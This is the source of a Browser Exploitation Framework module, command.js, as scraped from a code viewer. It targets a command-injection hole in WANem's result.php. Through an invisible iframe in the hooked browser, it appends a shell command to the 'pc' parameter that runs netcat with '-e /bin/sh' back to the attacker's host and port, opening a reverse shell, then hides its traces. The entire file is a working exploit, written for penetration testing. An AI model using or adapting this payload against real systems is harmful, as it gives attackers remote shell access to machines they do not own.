Path: blob/master/modules/exploits/wanem_command_execution/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var rhost = '<%= @rhost %>';8var rport = '<%= @rport %>';9var lhost = '<%= @lhost %>';10var lport = '<%= @lport %>';1112var wanem_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();13wanem_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+':'+rport+'/WANem/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20{nc,'+lhost+','+lport+',-e,/bin/sh}%26');1415beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");1617cleanup = function() {18document.body.removeChild(wanem_iframe_<%= @command_id %>);19}20setTimeout("cleanup()", 15000);2122});23242526